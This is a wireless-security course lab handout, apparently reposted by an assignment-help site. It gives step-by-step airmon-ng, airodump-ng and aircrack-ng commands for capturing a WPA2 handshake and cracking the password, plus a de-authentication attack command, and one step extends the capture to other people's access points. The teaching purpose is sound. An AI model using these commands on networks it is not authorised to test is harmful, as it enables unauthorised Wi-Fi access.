School of Business
Computer Science and Information Technology
INFO 4370 Security of Wireless Systems
Lab 4
Due Time: June 22, 19:00 PM
Hand in at the beginning of the lecture.
Name: Student ID:
———————————————————- ————————————————————-
- Capture packets with your own computer (With Demo)
- Please read the configure your system by following the Hardware and Software Requirement.docx document.
- Set up your wireless router with WPA/WPA2 Personal (PSK) security mechanism and make a simple password (say, abcd1234).
- Give an SSID to your access point and let the router broadcast the SSID.
- Restart your router and connect your laptop wirelessly to the router.
- Install the following software or download the executable files:
- Wireshark (already in Kali Linux)
- airmon-ng (already in Kali Linux)
- airodump-ng (already in Kali Linux)
- aircrack-ng (already in Kali Linux)
- aireply-ng (optional for the first section, but will be used in the second section)
- Run “ifconfig” in your Kali Linux, make sure you can see your USB NIC (e.g., wlan0)
- Put your NIC in monitoring mode. You can either use:
- Method 1 (Preferred):
Run:
ip link set your-wireless-interface-name-here down
Run:
iwconfig your-wireless-interface-name-here mode monitor
Run:
ip link set your-wireless-interface-name-here up
or use:
- Method 2 (You may need to kill some networking related processes):
Run:
airmon-ng start your-wireless-interface-name-here
- Run
airodump-ngyour-monitoring-interface-name-here
Now you can monitor the packers from different access points near you.
- Look for your AP from the listed ESSIDs, and record its BSSID in the first column. Also record the channel number in the CH column.
- Stop your running “airodump-ng” program and rerun it as follows:
airodump-ng –bssid your-recorded-BSSID-here –channel your-recorded-channel-number-here –write result your-monitoring-interface-name-here
Now, airodump-ng program only monitors your access point.
- Break your WiFi connection manually, and reconnect it again, you should see your running airodump-ng program can capture the 4-way handshake files.
- Use aircrack-ng to crack the password.
- Capture the packets from other access points.
- Reproduce the same steps from A to I.
- Use a second laptop connect to the router. You can see the new laptop listed in STATION column. Record its MAC address. We refer to this as station-mac-address
- Run command aireply-ng -0 5 -a your-recorded-BSSID-here -c your-recorded-station-mac-address.
This command sends the de-authentication attack packet to de-authenticated the station with that MAC address.
- The station will launch the 4-Way handshake automatically. You should be able to capture the packet, even though you are NOT a part of the network.
- Use aircrack-ng -w to crack the password.
The post INFO 4370 Security of Wireless Systems appeared first on My Assignment Online.